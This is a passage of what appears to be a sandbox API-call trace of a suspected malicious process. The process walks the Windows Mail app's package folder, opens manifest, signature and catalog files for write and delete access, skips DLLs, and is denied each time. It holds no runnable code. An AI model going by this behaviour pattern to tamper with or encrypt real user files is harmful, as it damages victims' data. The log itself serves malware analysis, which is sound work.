	[0082.672] wcscat (in: _Dest=0x2d89d28, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.220] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.220] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.220] GetLastError () returned 0x5
	[0090.220] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89d28) returned 1
	[0090.220] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x182554a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x182c7baf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x182c7baf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.220] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.220] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b648
	[0090.220] wcscpy (in: _Dest=0x491b648, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.220] wcscat (in: _Dest=0x491b648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.220] wcscat (in: _Dest=0x491b648, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.220] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.221] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.221] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.222] GetLastError () returned 0x5
	[0090.222] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b648) returned 1
	[0090.222] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1cf6222, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x18314067, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.222] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.222] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d448
	[0090.222] wcscpy (in: _Dest=0x491d448, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.222] wcscat (in: _Dest=0x491d448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.222] wcscat (in: _Dest=0x491d448, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491df88
	[0090.222] wcscpy (in: _Dest=0x491df88, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.222] wcscat (in: _Dest=0x491df88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.222] wcscat (in: _Dest=0x491df88, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1cf6222, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x18314067, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0090.222] wcscmp (_String1=".", _String2=".") returned 0
	[0090.222] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1cf6222, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x18314067, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.222] wcscmp (_String1="..", _String2=".") returned 1
	[0090.222] wcscmp (_String1="..", _String2="..") returned 0
	[0090.222] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1833a2c0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1833a2c0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5324, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0090.223] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0090.223] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0090.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500ba68
	[0090.223] wcscpy (in: _Dest=0x500ba68, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.223] wcscat (in: _Dest=0x500ba68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.223] wcscat (in: _Dest=0x500ba68, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.223] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.225] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.225] GetLastError () returned 0x5
	[0090.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500ba68) returned 1
	[0090.225] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1833a2c0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1833a2c0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5324, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.225] FindClose (in: hFindFile=0x477aca8 | out: hFindFile=0x477aca8) returned 1
	[0090.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491df88) returned 1
	[0090.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0090.226] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18314067, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18314067, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18314067, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.226] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.226] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b078
	[0090.226] wcscpy (in: _Dest=0x491b078, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.226] wcscat (in: _Dest=0x491b078, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.226] wcscat (in: _Dest=0x491b078, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.226] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.226] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.226] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.226] GetLastError () returned 0x5
	[0090.226] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b078) returned 1
	[0090.226] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1833a2c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x186cdb4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x186cdb4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x94a6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="chartim.dll", cAlternateFileName="")) returned 1
	[0090.226] wcscmp (_String1="chartim.dll", _String2=".") returned 1
	[0090.226] wcscmp (_String1="chartim.dll", _String2="..") returned 1
	[0090.227] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x186f3da6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x186f3da6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiImm.dll", cAlternateFileName="")) returned 1
	[0090.227] wcscmp (_String1="CsiImm.dll", _String2=".") returned 1
	[0090.227] wcscmp (_String1="CsiImm.dll", _String2="..") returned 1
	[0090.227] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1d89b7d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x187b296e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0090.227] wcscmp (_String1="en-gb", _String2=".") returned 1
	[0090.227] wcscmp (_String1="en-gb", _String2="..") returned 1
	[0090.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477e110
	[0090.227] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.227] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.227] wcscat (in: _Dest=0x477e110, _Source="en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb"
	[0090.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f530
	[0090.227] wcscpy (in: _Dest=0x477f530, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb"
	[0090.227] wcscat (in: _Dest=0x477f530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\"
	[0090.227] wcscat (in: _Dest=0x477f530, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\*"
	[0090.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\en-gb\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1d89b7d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x187b296e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.234] wcscmp (_String1=".", _String2=".") returned 0
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1d89b7d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x187b296e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="..", _String2=".") returned 1
	[0090.235] wcscmp (_String1="..", _String2="..") returned 0
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x186f3da6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x186f3da6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxcommintl.dll", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="hxcommintl.dll", _String2=".") returned 1
	[0090.235] wcscmp (_String1="hxcommintl.dll", _String2="..") returned 1
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x186f3da6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1871a004, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1871a004, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc430, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxoutlookintl.dll", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="hxoutlookintl.dll", _String2=".") returned 1
	[0090.235] wcscmp (_String1="hxoutlookintl.dll", _String2="..") returned 1
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1871a004, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x187664bb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x187664bb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x124c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30_winrt.dll", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="msointl30_winrt.dll", _String2=".") returned 1
	[0090.235] wcscmp (_String1="msointl30_winrt.dll", _String2="..") returned 1
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187664bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x187664bb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x187664bb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointlimm.dll", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="msointlimm.dll", _String2=".") returned 1
	[0090.235] wcscmp (_String1="msointlimm.dll", _String2="..") returned 1
	[0090.235] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187664bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1878c719, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1878c719, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook_whatsnew.xml", cAlternateFileName="")) returned 1
	[0090.235] wcscmp (_String1="outlook_whatsnew.xml", _String2=".") returned 1
	[0090.235] wcscmp (_String1="outlook_whatsnew.xml", _String2="..") returned 1
	[0090.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x50275b8
